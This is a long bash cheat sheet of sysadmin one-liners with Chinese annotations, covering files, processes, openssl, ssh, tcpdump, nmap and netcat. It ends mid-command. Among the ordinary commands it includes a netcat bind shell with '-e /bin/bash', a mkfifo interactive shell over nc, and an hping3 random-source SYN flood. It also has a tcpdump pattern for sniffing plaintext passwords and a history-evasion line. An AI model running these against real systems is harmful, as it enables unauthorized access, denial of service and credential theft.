exec $SHELL -l
disown -a && exit
kill -9 $$
unset HISTFILE && exit
true && echo success
false || echo failed
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
(some_command 2>&1 1>&3 | tee errorlog ) 3>&1 1>&2 | tee stdoutlog
history | \
awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | \
grep -v "./" | \
column -c3 -s " " -t | \
sort -nr | nl | head -n 20
function sterile() {
history | awk '$2 != "history" { $1=""; print $0 }' | egrep -vi "\
curl\b+.*(-E|--cert)\b+.*\b*|\
curl\b+.*--pass\b+.*\b*|\
curl\b+.*(-U|--proxy-user).*:.*\b*|\
curl\b+.*(-u|--user).*:.*\b*
.*(-H|--header).*(token|auth.*)\b+.*|\
wget\b+.*--.*password\b+.*\b*|\
http.?://.+:.+@.*\
" > $HOME/histbuff; history -r $HOME/histbuff;
}
export PROMPT_COMMAND="sterile"
另见: A naive utility to censor credentials in command history。
cp filename{,.orig}
>filename
rm !(*.foo|*.bar|*.baz)
# cat >filename ... - 覆写文件
# cat >>filename ... - 追加到文件
cat > filename << __EOF__
data data data
__EOF__
vim scp://user@host//etc/fstab
mkd() { mkdir -p "$@" && cd "$@"; }
rename 'y/A-Z/a-z/' *
printf "%`tput cols`s" | tr ' ' '#'
history | cut -c 8-
fc -l -n 1 | sed 's/^\s*//'
cat > /etc/profile << __EOF__
_after_logout() {
username=$(whoami)
for _pid in $(ps afx | grep sshd | grep "$username" | awk '{print $1}') ; do
kill -9 $_pid
done
}
trap _after_logout EXIT
__EOF__
for ((i=1; i<=10; i+=2)) ; do echo $i ; done
# 替代方案: seq 1 2 10
for ((i=5; i<=10; ++i)) ; do printf '%02d\n' $i ; done
# 替代方案: seq -w 5 10
for i in {1..10} ; do echo $i ; done
unset MAIL; export MAILCHECK=1; export MAILPATH='$FILE_TO_WATCH?$MESSAGE'
busybox httpd -p $PORT -h $HOME [-c httpd.conf]
mount -t tmpfs tmpfs /mnt -o size=64M
-t - 文件系统类型-o - 挂载选项mount -o remount,rw /
fuser /var/log/daemon.log
fuser -v /home/supervisor
fuser -ki filename
-i - 交互式选项fuser -k -HUP filename
--list-signals - 列出可用信号名称fuser -v 53/udp
fuser -mv /var/www
lsof -P -i -n
lsof -i tcp:443
lsof -Pan -i tcp -i udp
lsof -i -P | grep -i "listen"
lsof -Pnl -i
lsof -Pni4 | grep LISTEN | column -t
lsof -c "process"
lsof -u username -a +D /etc
lsof / | \
awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | \
sort -n -u | tail | column -t
lsof -p <PID> | grep cwd
ps awwfux | less -S
ps hax -o user | sort | uniq -c | sort -r
ps -lfC nginx
find / -mmin 60 -type f
find / -type f -size +20M
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33
cd /var/www/site && find . -type f -exec chmod 766 {} \;
cd /var/www/site && find . -type f -exec chmod 664 {} +
cd /var/www/site && find . -type d -exec chmod g+x {} \;
cd /var/www/site && find . -type d -exec chmod g+rwx {} +
# 用户:
find . -user <username> -print
find /etc -type f -user <username> -name "*.conf"
# 组:
find /opt -group <group>
find /etc -type f -group <group> -iname "*.conf"
# 用户:
find . \! -user <username> -print
# 组:
find . \! -group <group>
# 用户
find . -user <username> -perm -u+rw # -rw-r--r--
find /home -user $(whoami) -perm 777 # -rwxrwxrwx
# 组:
find /home -type d -group <group> -perm 755 # -rwxr-xr-x
find . -type f -mtime +60 -delete
find . -depth -type d -empty -exec rmdir {} \;
find </path/to/dir> -xdev -samefile filename
find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head
find . -not -path '*/\.git*' -type f -print0 | xargs -0 sed -i 's/foo/bar/g'
find . -depth -name '*test*' -execdir bash -c 'mv -v "$1" "${1//foo/bar}"' _ {} \;
find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \;
top -p $(pgrep -d , <str>)
<str> - 包含特定字符串的进程(如 nginx, worker)vmstat 2 20 -t -w
2 - 定义时间间隔的次数(延迟)20 - 每次执行命令的次数(计数)-t - 显示时间戳-w - 宽输出-S M - 以兆字节为单位输出字段vmstat 5 -w
vmstat -D
vmstat -s
vmstat -m
iostat 2 10 -t -m
2 - 时间间隔(延迟)10 - 执行次数(计数)-t - 显示时间戳-m - 以兆字节为单位(-k 以千字节为单位,默认)iostat 2 10 -t -m -c
iostat 2 10 -t -m -d
iostat -N
# 1)
strace -f -p $(pidof glusterfsd)
# 2)
strace -f $(pidof php-fpm | sed 's/\([0-9]*\)/\-p \1/g')
timeout 30 strace $(< /var/run/zabbix/zabbix_agentd.pid)
ps auxw | grep '[a]pache' | awk '{print " -p " $2}' | \
xargs strace -o /tmp/strace-apache-proc.out
ps auxw | grep '[i]init_policy' | awk '{print " -p " $2}' | \
xargs strace -f -e trace=network -T -s 10000
strace -f -e trace=bind nc -l 80
strace -f -e trace=network nc -lu 80
kill -9 $(lsof -i :<port> | awk '{l=$2} END {print l}')
diff <(cd directory1 && find | sort) <(cd directory2 && find | sort)
diff <(cat /etc/passwd) <(cut -f2 /etc/passwd)
vimdiff file1 file2
vimdiff <(jq -S . A.json) <(jq -S . B.json)
d(){ vimdiff <(f $1) <(f $2);};f(){ hexdump -C $1 | cut -d' ' -f3- | tr -s ' ';}; d ~/bin1 ~/bin2
将 diffchar 保存到 ~/.vim/plugins
按 F7 在差异模式之间切换
有用的 vimdiff 命令:
qa 退出所有窗口:vertical resize 70 调整窗口大小Ctrl+W [N columns]+(Shift+)<\>tail -f file | while read ; do echo "$(date +%T.%N) $REPLY" ; done
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
tail -n 100 -f /path/to/logfile | grep "HTTP/[1-2].[0-1]\" [5]"
cd /
tar -czvpf /mnt/system$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* --exclude=mnt/* .
cd /
tar cvpf /backup/snapshot-$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* \
--exclude=mnt/* --exclude=tmp/* --use-compress-program=pigz .
dump -y -u -f /backup/system$(date +%d%m%Y%s).lzo /
cd /
restore -rf /backup/system$(date +%d%m%Y%s).lzo
cpulimit -p pid -l 50
pwdx <pid>
taskset -c 0 <command>
tr : '\n' <<<$PATH
chmod -R -x+X *
# 1:
cp /bin/ls chmod.01
cp /bin/chmod chmod.01
./chmod.01 700 file
# 2:
/bin/busybox chmod 0700 /bin/chmod
# 3:
setfacl --set u::rwx,g::---,o::--- /bin/chmod
who -b
[[ $(who -m | awk '{ print $1 }') == $(whoami) ]] || echo "You are su-ed to $(whoami)"
(last -x -f $(ls -1t /var/log/wtmp* | head -2 | tail -1); last -x -f /var/log/wtmp) | \
grep -A1 reboot | head -2 | grep -q shutdown && echo "Expected reboot" || echo "Panic reboot"
screen -d -m <command>
screen -r -d <pid>
### 录制会话
# 1)
script -t 2>~/session.time -a ~/session.log
# 2)
script --timing=session.time session.log
### 回放会话
scriptreplay --timing=session.time session.log
du | \
sort -r -n | \
awk '{split("K M G",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}' | \
head -n 20
while true ; do inotifywait -r -e MODIFY dir/ && ls dir/ ; done;
echo | openssl s_client -connect google.com:443 -showcerts
echo | openssl s_client -connect google.com:443 -showcerts -tlsextdebug -status
echo | openssl s_client -showcerts -servername google.com -connect google.com:443
openssl s_client -tls1_2 -connect google.com:443
openssl s_client -cipher 'AES128-SHA' -connect google.com:443
_host="example.com"
cat > req.in << __EOF__
HEAD / HTTP/1.1
Host: $_host
Connection: close
__EOF__
openssl s_client -connect ${_host}:443 -tls1_3 -sess_out session.pem -ign_eof < req.in
openssl s_client -connect ${_host}:443 -tls1_3 -sess_in session.pem -early_data req.in
# _len: 2048, 4096
( _fd="private.key" ; _len="2048" ; \
openssl genrsa -out ${_fd} ${_len} )
# _ciph: aes128, aes256
# _len: 2048, 4096
( _ciph="aes128" ; _fd="private.key" ; _len="2048" ; \
openssl genrsa -${_ciph} -out ${_fd} ${_len} )
( _fd="private.key" ; _fd_unp="private_unp.key" ; \
openssl rsa -in ${_fd} -out ${_fd_unp} )
# _ciph: aes128, aes256
( _ciph="aes128" ; _fd="private.key" ; _fd_pass="private_pass.key" ; \
openssl rsa -${_ciph} -in ${_fd} -out ${_fd_pass}
( _fd="private.key" ; \
openssl rsa -check -in ${_fd} )
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl rsa -pubout -in ${_fd} -out ${_fd_pub} )
( _fd="private.key" ; _fd_csr="request.csr" ; _len="2048" ; \
openssl req -out ${_fd_csr} -new -newkey rsa:${_len} -nodes -keyout ${_fd} )
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -out ${_fd_csr} -new -key ${_fd} )
其中
private.key是现有的私钥。如你所见,不是从证书(公钥)生成此 CSR。也不是生成"相同"的 CSR,而是一个新的用于请求新证书的 CSR。
( _fd="private.key" ; _fd_csr="request.csr" ; _fd_crt="cert.crt" ; \
openssl x509 -x509toreq -in ${_fd_crt} -out ${_fd_csr} -signkey ${_fd} )
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \
-config <(
cat << __EOF__
[req]
default_bits = 2048
default_md = sha256
prompt = no
distinguished_name = dn
req_extensions = req_ext
[ dn ]
C = "<two-letter ISO abbreviation for your country>"
ST = "<state or province where your organisation is legally located>"
L = "<city where your organisation is legally located>"
O = "<legal name of your organisation>"
OU = "<section of the organisation>"
CN = "<fully qualified domain name>"
[ req_ext ]
subjectAltName = @alt_names
[ alt_names ]
DNS.1 = <fully qualified domain name>
DNS.2 = <next domain>
DNS.3 = <next domain>
__EOF__
))
[ dn ] 中的其他值:
countryName = "DE" # C=
stateOrProvinceName = "Hessen" # ST=
localityName = "Keller" # L=
postalCode = "424242" # L/postalcode=
postalAddress = "Keller" # L/postaladdress=
streetAddress = "Crater 1621" # L/street=
organizationName = "apfelboymschule" # O=
organizationalUnitName = "IT Department" # OU=
commonName = "example.com" # CN=
emailAddress = "webmaster@example.com" # CN/emailAddress=
oids 示例(你可能还需要通过在 [new_oids] 下添加以下内容来让 OpenSSL 知道 EV 所需的新字段):
[req]
...
oid_section = new_oids
[ new_oids ]
postalCode = 2.5.4.17
streetAddress = 2.5.4.9
完整示例:
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \
-config <(
cat << __EOF__
[req]
default_bits = 2048
default_md = sha256
prompt = no
distinguished_name = dn
req_extensions = req_ext
oid_section = new_oids
[ new_oids ]
serialNumber = 2.5.4.5
streetAddress = 2.5.4.9
postalCode = 2.5.4.17
businessCategory = 2.5.4.15
[ dn ]
serialNumber=00001111
businessCategory=Private Organization
jurisdictionC=DE
C=DE
ST=Hessen
L=Keller
postalCode=424242
streetAddress=Crater 1621
O=AV Company
OU=IT
CN=example.com
[ req_ext ]
subjectAltName = @alt_names
[ alt_names ]
DNS.1 = example.com
__EOF__
))
更多信息请参阅这些优秀的解释:
openssl ecparam -list_curves
( _fd="private.key" ; \
openssl ec -in ${_fd} -noout -text )
# 对于 x25519 仅提取公钥
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl pkey -in ${_fd} -pubout -out ${_fd_pub} )
# _curve: prime256v1, secp521r1, secp384r1
( _fd="private.key" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey )
# _curve: X25519
( _fd="private.key" ; _curve="x25519" ; \
openssl genpkey -algorithm ${_curve} -out ${_fd} )
# _curve: prime256v1, secp521r1, secp384r1
( _fd="domain.com.key" ; _fd_csr="domain.com.csr" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey ; \
openssl req -new -key ${_fd} -out ${_fd_csr} -sha256 )
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _len="2048" ; _days="365" ; \
openssl req -newkey rsa:${_len} -nodes \
-keyout ${_fd} -x509 -days ${_days} -out ${_fd_out} )
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _days="365" ; \
openssl req -key ${_fd} -nodes \
-x509 -days ${_days} -out ${_fd_out} )
# _len: 2048, 4096
( _fd="domain.key" ; _fd_csr="domain.csr" ; _fd_out="domain.crt" ; _days="365" ; \
openssl x509 -signkey ${_fd} -nodes \
-in ${_fd_csr} -req -days ${_days} -out ${_fd_out} )
( _dh_size="2048" ; \
openssl dhparam -out /etc/nginx/ssl/dhparam_${_dh_size}.pem "$_dh_size" )
openssl pkeyparam -in dhparam.pem -text
( _fd_pfx="cert.pfx" ; _fd_key="key.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nocerts -nodes -out ${_fd_key} )
( _fd_pfx="cert.pfx" ; _fd_pem="key_certs.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nodes -out ${_fd_pem} )
# PKCS#7 文件不包含私钥。
( _fd_p7b="cert.p7b" ; _fd_pem="cert.pem" ; \
openssl pkcs7 -inform DER -outform PEM -in ${_fd_p7b} -print_certs > ${_fd_pem})
# 或:
openssl pkcs7 -print_certs -in -in ${_fd_p7b} -out ${_fd_pem})
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_der} -inform der -outform pem -out ${_fd_pem} )
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_pem} -outform der -out ${_fd_der} )
( _fd="private.key" ; \
openssl rsa -noout -text -in ${_fd} )
# 1)
( _fd="public.key" ; \
openssl pkey -noout -text -pubin -in ${_fd} )
# 2)
( _fd="private.key" ; \
openssl rsa -inform PEM -noout -in ${_fd} &> /dev/null ; \
if [ $? = 0 ] ; then echo -en "OK\n" ; fi )
( _fd="certificate.crt" ; # 格式: pem, cer, crt \
openssl x509 -noout -text -in ${_fd} )
( _fd_csr="request.csr" ; \
openssl req -text -noout -in ${_fd_csr} )
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl x509 -noout -modulus -in certificate.crt | openssl md5) | uniq
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl req -noout -modulus -in request.csr | openssl md5) | uniq
shred -vfuz -n 10 file
shred --verbose --random-source=/dev/urandom -n 1 /dev/sda
scrub -p dod /dev/sda
scrub -p dod -r file
badblocks -s -w -t random -v /dev/sda
badblocks -c 10240 -s -w -t random -v /dev/sda
srm -vz /tmp/file
sfill -vz /local
sdmem -v
swapoff /dev/sda5 && sswap -vz /dev/sda5
dd <dd_params> status=progress
watch --interval 5 killall -USR1 dd
echo "string" | dd of=filename
gpg --export --armor "<username>" > username.pkey
--export - 从所有密钥环导出所有密钥或特定密钥-a|--armor - 创建 ASCII armored 输出gpg -e -r "<username>" dump.sql
-e|--encrypt - 加密数据-r|--recipient - 为特定 加密
gpg -o dump.sql -d dump.sql.gpg
-o|--output - 用作输出文件-d|--decrypt - 解密数据(默认)gpg --keyserver hkp://keyserver.ubuntu.com --search-keys "<username>"
--keyserver - 设置特定密钥服务器--search-keys - 在密钥服务器上搜索密钥gpg --batch --list-packets archive.gpg
gpg2 --batch --list-packets archive.gpg
exec /sbin/init 6
exec /sbin/init
readlink -f /proc/<PID>/cwd
readlink -f /proc/<PID>/exe
curl -Iks https://www.google.com
-I - 仅显示响应头-k - 使用 SSL 时的不安全连接-s - 静默模式(不显示主体)
curl -Iks --location -X GET -A "x-agent" https://www.google.com
--location - 跟随重定向
-X - 设置方法
-A - 设置 user-agent
curl -Iks --location -X GET -A "x-agent" --proxy http://127.0.0.1:16379 https://www.google.com
--proxy [socks5://|http://] - 设置代理服务器
curl -o file.pdf -C - https://example.com/Aiju2goo0Ja2.pdf
-o - 将输出写入文件
-C - 恢复传输
curl ipinfo.io
curl ipinfo.io/ip
curl icanhazip.com
curl ifconfig.me/ip ; echo
# 使用虚拟查询字符串进行 URL 序列替换:
curl -ks https://example.com/?[1-20]
# 使用 Shell 'for' 循环:
for i in {1..20} ; do curl -ks https://example.com/ ; done
### 设置域名和外部 DNS 服务器。
_domain_list=(google.com) ; _dns_list=("8.8.8.8" "1.1.1.1")
for _domain in "${_domain_list[@]}" ; do
printf '=%.0s' {1..48}
echo
printf "[\\e[1;32m+\\e[m] resolve: %s\\n" "$_domain"
for _dns in "${_dns_list[@]}" ; do
# 解析域名。
host "${_domain}" "${_dns}"
echo
done
for _proto in http https ; do
printf "[\\e[1;32m+\\e[m] trace + headers: %s://%s\\n" "$_proto" "$_domain"
# 获取 trace 和 http 头部。
curl -Iks -A "x-agent" --location "${_proto}://${_domain}"
echo
done
done
unset _domain_list _dns_list
http -p Hh https://www.google.com
-p - 打印请求和响应头
H - 请求头B - 请求体h - 响应头b - 响应体
http -p Hh https://www.google.com --follow --verify no
-F, --follow - 跟随重定向
--verify no - 跳过 SSL 验证
http -p Hh https://www.google.com --follow --verify no \
--proxy http:http://127.0.0.1:16379
--proxy [http:] - 设置代理服务器
# 支持的转义序列:
~. - 终止连接(以及任何多路复用会话)
~B - 向远程系统发送 BREAK
~C - 打开命令行
~R - 请求重新生成密钥(仅 SSH 协议 2)
~^Z - 挂起 ssh
~# - 列出转发的连接
~& - 后台 ssh(当等待连接终止时)
~? - 此消息
~~ - 通过输入两次来发送转义字符本身
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
ssh -t reachable_host ssh unreachable_host
cat > cmd.txt << __EOF__
cat /etc/hosts
__EOF__
ssh host -l user $(<cmd.txt)
ssh-keygen -y -f ~/.ssh/id_rsa
ssh-keygen -l -f .ssh/known_hosts
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@remote_host
ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes -i id_rsa user@remote_host
function _ssh_sesslog() {
_sesdir="<path/to/session/logs>"
mkdir -p "${_sesdir}" && \
ssh $@ 2>&1 | tee -a "${_sesdir}/$(date +%Y%m%d).log"
}
# 别名:
alias ssh='_ssh_sesslog'
### 删除 ssh-agent 的所有密钥。
function _scl() {
/usr/bin/keychain --clear
}
### 添加密钥到 Keychain。
function _scg() {
/usr/bin/keychain /path/to/private-key
source "$HOME/.keychain/$HOSTNAME-sh"
}
ssh -tt user@host bash
示例 1:
# 将本地 2250 端口通过 localhost 转发到 nmap.org:443
host1> ssh -L 2250:nmap.org:443 localhost
# 连接到服务:
host1> curl -Iks --location -X GET https://localhost:2250
示例 2:
# 将本地 9051 端口通过 node.d.y 转发到 db.d.x:5432
host1> ssh -nNT -L 9051:db.d.x:5432 node.d.y
# 连接到服务:
host1> psql -U db_user -d db_dev -p 9051 -h localhost
-n - 从 /dev/null 重定向 stdin-N - 不执行远程命令-T - 禁用伪终端分配# 将本地 9051 端口通过 node.d.y 从 host2 转发到 db.d.x:5432
host1> ssh -nNT -R 9051:db.d.x:5432 node.d.y
# 连接到服务:
host2> psql -U postgres -d postgres -p 8000 -h localhost
timeout 1 bash -c "</dev/<proto>/<host>/<port>" >/dev/null 2>&1 ; echo $?
<proto - 设置协议 (tcp/udp)<host> - 设置远程主机<port> - 设置目标端口exec 5<>/dev/tcp/<host>/<port>; cat <&5 & cat >&5; exec 5>&-
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443
-n - 不转换地址(-nn 将不解析主机名或端口)-e - 打印链路层头部-i [iface|any] - 设置接口-Q|-D [in|out|inout] - 选择发送/接收方向(-D - 旧版 tcpdump 版本)host [ip|hostname] - 设置主机,也可 [host not][and|or] - 设置逻辑port [1-65535] - 设置端口号,也可 [port not]tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443 -c 5 -w tcpdump.pcap
-c [num] - 仅捕获 num 数量的数据包-w [filename] - 将数据包写入文件,-r [filename] - 从文件读取tcpdump -nei eth0 icmp
tcpdump -nei eth0 tcp port 22 -vv -X | egrep "TCP|UDP"
tcpdump -i eth0 -A -s0 port 443
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'
tcpdump -i eth0 port http -l -A | egrep -i \
'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' \
--color=auto --line-buffered -B20
tcpdump -ei eth0 -nn -A -s1500 -l | grep "User-Agent:"
tcpdump -ei eth0 -s 0 -A -vv \
'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' or 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
或简单地:
tcpdump -ei eth0 -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"
tcpdump -ei eth0 -w /tmp/capture-%H.pcap -G 3600 -C 200
-G <num> - 每 <num> 秒创建一个新的 pcap-C <size> - 如果当前 pcap 大于 <size> 则关闭并打开新的tcpdump -ei enp0s25 -nnn -t -c 200 | cut -f 1,2,3,4 -d '.' | sort | uniq -c | sort -nr | head -n 20
tcpdump -nei eth0 'not (src net (10 or 172.16/12 or 192.168/16) and dst net (10 or 172.16/12 or 192.168/16))'
while true ; do tcpick -a -C -r dump.pcap ; sleep 2 ; clear ; done
ngrep -d eth0 "www.domain.com" port 443
-d [iface|any] - 设置接口[domain] - 设置主机名port [1-65535] - 设置端口号
ngrep -d eth0 "www.domain.com" src host 10.240.20.2 and port 443
(host [ip|hostname]) - 按 IP 或主机名过滤
(port [1-65535]) - 按端口号过滤
ngrep -d eth0 -qt -O ngrep.pcap "www.domain.com" port 443
-q - 安静模式(仅有效载荷)
-t - 添加时间戳
-O [filename] - 将输出保存到文件,-I [filename] - 从文件读取
ngrep -d eth0 -qt 'HTTP' 'tcp'
HTTP - 显示 HTTP 头部
tcp|udp - 设置协议
[src|dst] host [ip|hostname] - 设置特定节点的方向
ngrep -l -q -d eth0 -i "User-Agent: curl*"
-l - stdout 行缓冲
-i - 不区分大小写搜索
hping3 -V -p 80 -s 5050 <scan_type> www.google.com
-V|--verbose - 详细模式-p|--destport - 设置目标端口-s|--baseport - 设置源端口<scan_type> - 设置扫描类型
-F|--fin - 设置 FIN 标志,端口开放则无回复-S|--syn - 设置 SYN 标志-P|--push - 设置 PUSH 标志-A|--ack - 设置 ACK 标志(当 ping 被阻止时使用,端口开放则返回 RST 响应)-U|--urg - 设置 URG 标志-Y|--ymas - 设置 Y 未使用标志(0x80 - nullscan),端口开放则无回复-M 0 -UPF - 设置 TCP 序列号和扫描类型(URG+PUSH+FIN),端口开放则无回复
hping3 -V -c 1 -1 -C 8 www.google.com
-c [num] - 数据包计数
-1 - 设置 ICMP 模式
-C|--icmptype [icmp-num] - 设置 icmp 类型(默认 icmp-echo = 8)
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source <remote_host>
--flood - 尽可能快地发送数据包(不显示回复)
--rand-source - 随机源地址模式
-d --data - 数据大小
-w|--win - winsize(默认 64)
nmap -sP 192.168.0.0/24
nmap -F --open 192.168.0.0/24
nmap -p 1-65535 -sV -sS -T4 192.168.0.0/24
nmap -p80,443 192.168.0.0/24 -oG - | nikto.pl -h -
# 设置变量:
_hosts="192.168.250.10"
_ports="80,443"
# 设置 Nmap NSE 脚本堆栈:
_nmap_nse_scripts="+dns-brute,\
+http-auth-finder,\
+http-chrono,\
+http-cookie-flags,\
+http-cors,\
+http-cross-domain-policy,\
+http-csrf,\
+http-dombased-xss,\
+http-enum,\
+http-errors,\
+http-git,\
+http-grep,\
+http-internal-ip-disclosure,\
+http-jsonp-detection,\
+http-malware-host,\
+http-methods,\
+http-passwd,\
+http-phpself-xss,\
+http-php-version,\
+http-robots.txt,\
+http-sitemap-generator,\
+http-shellshock,\
+http-stored-xss,\
+http-title,\
+http-unsafe-output-escaping,\
+http-useragent-tester,\
+http-vhosts,\
+http-waf-detect,\
+http-waf-fingerprint,\
+http-xssed,\
+traceroute-geolocation.nse,\
+ssl-enum-ciphers,\
+whois-domain,\
+whois-ip"
# 设置 Nmap NSE 脚本参数:
_nmap_nse_scripts_args="dns-brute.domain=${_hosts},http-cross-domain-policy.domain-lookup=true,"
_nmap_nse_scripts_args+="http-waf-detect.aggro,http-waf-detect.detectBodyChanges,"
_nmap_nse_scripts_args+="http-waf-fingerprint.intensive=1"
# 执行扫描:
nmap --script="$_nmap_nse_scripts" --script-args="$_nmap_nse_scripts_args" -p "$_ports" "$_hosts"
nc -kl 5000
-l - 监听传入连接-k - 客户端断开后继续监听>filename.out - 将接收到的数据保存到文件(可选)
nc 192.168.0.1 5051 < filename.in
< filename.in - 发送数据到远程主机
nc -vz 10.240.30.3 5000
-v - 详细输出
-z - 扫描监听守护进程
nc -vzu 10.240.30.3 1-65535
-u - 仅扫描 udp 端口
server> nc -l 5000 | tar xzvfp -
client> tar czvfp - /path/to/dir | nc 10.240.30.3 5000
# 1)
server> nc -l 5000 -e /bin/bash
client> nc 10.240.30.3 5000
# 2)
server> rm -f /tmp/f; mkfifo /tmp/f
server> cat /tmp/f | /bin/bash -i 2>&1 | nc -l 127.0.0.1 5000 > /tmp/f
client> nc 10.240.30.3 5000
while true ; do nc -l 5000 | tar -xvf - ; done
while true ; do nc -l -p 1500 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"' ; done
每次请求后重启 Web 服务器 - 移除
while条件则仅允许单次连接。
cat > index.html << __EOF__
<!doctype html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title></title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<p>
Hello! It's a site.
</p>
</body>
</html>
__EOF__
server> while : ; do \
(echo -ne "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c <index.html)\r\n\r\n" ; cat index.html;) | \
nc -l -p 5000 \
; done
-p - 端口号#!/usr/bin/env bash
if [[ $# != 2 ]] ; then
printf "%s\\n" \
"usage: ./nc-proxy listen-port bk_host:bk_port"
fi
_listen_port="$1"
_bk_host=$(echo "$2" | cut -d ":" -f1)
_bk_port=$(echo "$2" | cut -d ":" -f2)
printf " lport: %s\\nbk_host: %s\\nbk_port: %s\\n\\n" \
"$_listen_port" "$_bk_host" "$_bk_port"
_tmp=$(mktemp -d)
_back="$_tmp/pipe.back"
_sent="$_tmp/pipe.sent"
_recv="$_tmp/pipe.recv"
trap 'rm -rf "$_tmp"' EXIT
mkfifo -m 0600 "$_back" "$_sent" "$_recv"
sed "s/^/=> /" <"$_sent" &
sed "s/^/<= /" <"$_recv" &
nc -l -p "$_listen_port" <"$_back" | \
tee "$_sent" | \
nc "$_bk_host" "$_bk_port" | \
tee "$_recv" >"$_back"
server> chmod +x nc-proxy && ./nc-proxy 8080 192.168.252.10:8000
lport: 8080
bk_host: 192.168.252.10
bk_port: 8000
client> http -p h 10.240.30.3:8080
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Length: 2748
Content-Type: text/html; charset=utf-8
Date: Sun, 01 Jul 2018 20:12:08 GMT
Last-Modified: Sun, 01 Apr 2018 21:53:37 GMT
### TCP -> TCP
nc -l -p 2000 -c "nc [ip|hostname] 3000"
### TCP -> UDP
nc -l -p 2000 -c "nc -u [ip|hostname] 3000"
### UDP -> UDP
nc -l -u -p 2000 -c "nc -u [ip|hostname] 3000"
### UDP -> TCP
nc -l -u -p 2000 -c "nc [ip|hostname] 3000"
gnutls-cli -p 443 google.com
gnutls-cli --disable-sni -p 443 google.com
socat - TCP4:10.240.30.3:22
- - 标准输入 (STDIO)TCP4:<params> - 设置具有特定参数的 tcp4 连接
[hostname|ip] - 设置主机名/ip[1-65535] - 设置端口号socat TCP-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork,su=nobody,range=127.0.0.0/8 UNIX-CLIENT:/tmp/foo
TCP-LISTEN:<params> - 设置具有特定参数的 tcp 监听
[1-65535] - 设置端口号bind=[hostname|ip] - 设置绑定的主机名/ipreuseaddr - 允许其他套接字绑定到某个地址fork - 保持父进程尝试产生更多连接su=nobody - 设置用户range=[ip-range] - IP 范围UNIX-CLIENT:<params> - 与指定的对等套接字通信
filename - 定义套接字p0f -i enp0s25 -p -d -o /dump/enp0s25.log
-i - 监听指定接口-p - 将接口设置为混杂模式-d - fork 到后台-o - 输出文件netstat -an | awk '/ESTABLISHED/ { split($5,ip,":"); if (ip[1] !~ /^$/) print ip[1] }' | \
sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
watch "netstat -plan | grep :443 | awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
netstat -nlt | grep 'tcp ' | grep -Eo "[1-9][0-9]*" | xargs -I {} sh -c "echo "" | nc -v -n -w1 127.0.0.1 {}"
rsync --rsync-path 'sudo rsync' username@hostname:/path/to/dir/ /local/
host google.com 9.9.9.9
host -t soa google.com 9.9.9.9
dig google.com +short
dig @9.9.9.9 google.com NS
dig google.com +nocomments +noquestion +noauthority +noadditional +nostats
dig google.com ANY +noall +answer
dig -x 172.217.16.14 +short
certbot certonly -d example.com -d www.example.com
certbot certonly --manual --preferred-challenges=dns -d example.com -d *.example.com
certbot certonly -d example.com -d www.example.com --rsa-key-size 4096
AS="AS32934"
whois -h whois.radb.net -- "-i origin ${AS}" | \
grep "^route:" | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]//' | \
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]/allow /' | \
sed 's/$/;/' | \
sed 's/allow */subnet -> /g'
_dname="google.com" ; curl -s "https://dns.google.com/resolve?name=${_dname}&type=A" | jq .
# 1)
git log --oneline --decorate --graph --all
# 2)
git log --graph \
